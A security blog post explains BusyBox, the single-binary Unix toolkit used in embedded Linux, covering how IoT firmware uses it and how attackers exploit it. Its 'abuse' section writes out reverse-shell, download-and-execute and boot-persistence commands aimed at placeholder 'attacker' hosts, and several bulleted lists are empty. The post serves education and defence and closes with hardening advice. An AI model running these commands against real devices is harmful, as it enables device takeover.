What is BusyBox?

Published: 2026-02-18

BusyBox is an incredibly useful tool for embedded Linux. The official site calls it the “Swiss Army Knife of Embedded Linux,” and that's accurate.

At its core, BusyBox is a single binary that bundles dozens (sometimes hundreds) of standard Unix utilities into one executable. Drop it into an embedded device’s filesystem and suddenly you have sh, ls, cp, mv, ps, ifconfig, mount, wget, and a pile of other tooling you’d normally expect from a full Linux distribution.

It’s modular at compile time. If you’re building firmware and you only need sh, mount, and udhcpd, you compile only those applets. If you need the whole toolbox, you enable everything. Space is king in embedded systems, and BusyBox respects that.

When the busybox binary is placed in /bin (or /sbin), usage is simple: create a symlink named after the utility you want. For example:

ln -s /bin/busybox /bin/ls
ln -s /bin/busybox /bin/sh

When the binary is executed, it checks argv[0] (the name it was called as) and dispatches to the corresponding built-in applet. Clean. Minimal. Effective.

Why is it Useful?

Because IoT vendors don’t have the luxury of shipping a full GNU userland.

Flash is small. RAM is smaller. CPUs are slow. Boot time matters. Attack surface matters (at least in theory).

BusyBox solves several real engineering problems:

From a vendor perspective, it’s perfect. From a security perspective, it’s… interesting.

Where Might You Find It?

If you’re doing firmware analysis, you will see BusyBox everywhere.

Common locations:

/bin/busybox

/sbin/busybox

/bin/sh -> symlink to busybox

/bin/ash -> symlink to busybox

If you extract a firmware image and see 40 utilities in /bin that are all symlinks pointing to one binary, congratulations - that device is powered by BusyBox.

It’s extremely common in:

If it runs embedded Linux, odds are high it runs BusyBox.

How It’s Used in IoT Devices

Most vendors use BusyBox for:

It’s often part of a minimal root filesystem, frequently paired with:

In many cases, BusyBox is statically compiled. That means even if the rest of the filesystem is partially corrupted or stripped down, the shell still works.

And if you get code execution on the device?

You now have a toolbox.

How to Use BusyBox

If you land on a restricted IoT shell and type:

busybox

It will usually dump a list of compiled-in applets.

You can also do:

busybox --list

or invoke an applet directly:

busybox nc 10.0.0.1 4444
busybox wget http://attacker/payload
busybox sh

Even if /bin/nc doesn’t exist as a symlink, the functionality may still be there.

One thing many people forget: if you upload your own BusyBox binary to a device, you can dramatically expand your capabilities. A statically compiled BusyBox dropped into /tmp can give you tooling that the vendor intentionally excluded.

Example:

chmod +x busybox
./busybox sh
./busybox tar -xf payload.tar
./busybox mount -o remount,rw /

In constrained environments, this is often enough to escalate from "limited shell" to "full filesystem control".

How to Abuse BusyBox

Let’s be blunt: BusyBox is frequently an attacker’s best friend in IoT exploitation.

Not because it’s insecure, but because vendors are careless.

1. Reverse Shells

If nc, telnet, or wget are compiled in:

busybox nc attacker 4444 -e /bin/sh

Even if -e is disabled, there are workarounds using pipes.

2. Persistence

If mount and vi or sed are present:

busybox mount -o remount,rw /
busybox sed -i '...' /etc/init.d/rcS

That’s persistent execution on boot.

3. Download + Execute

Many devices expose command injection vulnerabilities. If BusyBox includes wget:

busybox wget http://attacker/payload -O /tmp/p
busybox chmod +x /tmp/p
/tmp/p

It's free.

4. Expanding Restricted Environments

Sometimes vendors attempt to “jail” shells by removing common utilities. But if busybox itself is present and executable, you can bypass artificial restrictions by directly invoking hidden applets.

I’ve seen devices where:

But:

busybox ps
busybox netstat -an
busybox ifconfig

All available.

5. Weak Configurations

BusyBox does have vulnerabilities. However, hardcoded credentials in init scripts, world-writable system files, or debug telnet daemons enabled via BusyBox’s inetd are more common issues than BusyBox CVEs themselves.

I don't think you can blame BusyBox for the IoT security nightmare, it's really on vendors shipping:

BusyBox just makes it easier to interact with those mistakes.

Why It’s So Common

Three reasons:

  1. Size
  2. Simplicity
  3. Control

It fits perfectly into embedded build systems. It avoids dependency hell. It’s predictable.

And it works.

If you’re building firmware using Yocto Project, Buildroot, or OpenWrt, BusyBox is practically the default userland.

It’s not glamorous. It’s not modern. It’s not fancy.

It’s reliable.

Final Thoughts

If you work in IoT security, you need to understand BusyBox.

When you extract firmware and see it, that’s not just a binary — it’s a capability map.

Run strings. Check the compiled applets. Identify networking utilities. Look for inetd. Check for telnetd. Check for httpd.

BusyBox is rarely the vulnerability.

But it’s almost always part of the post-exploitation story.

And if you’re defending devices?

Know exactly which applets you compiled in. Strip what you don’t need. Disable what you can. Audit startup scripts. And for the love of everything embedded - stop shipping telnet.

BusyBox isn’t going anywhere.

So you might as well understand it.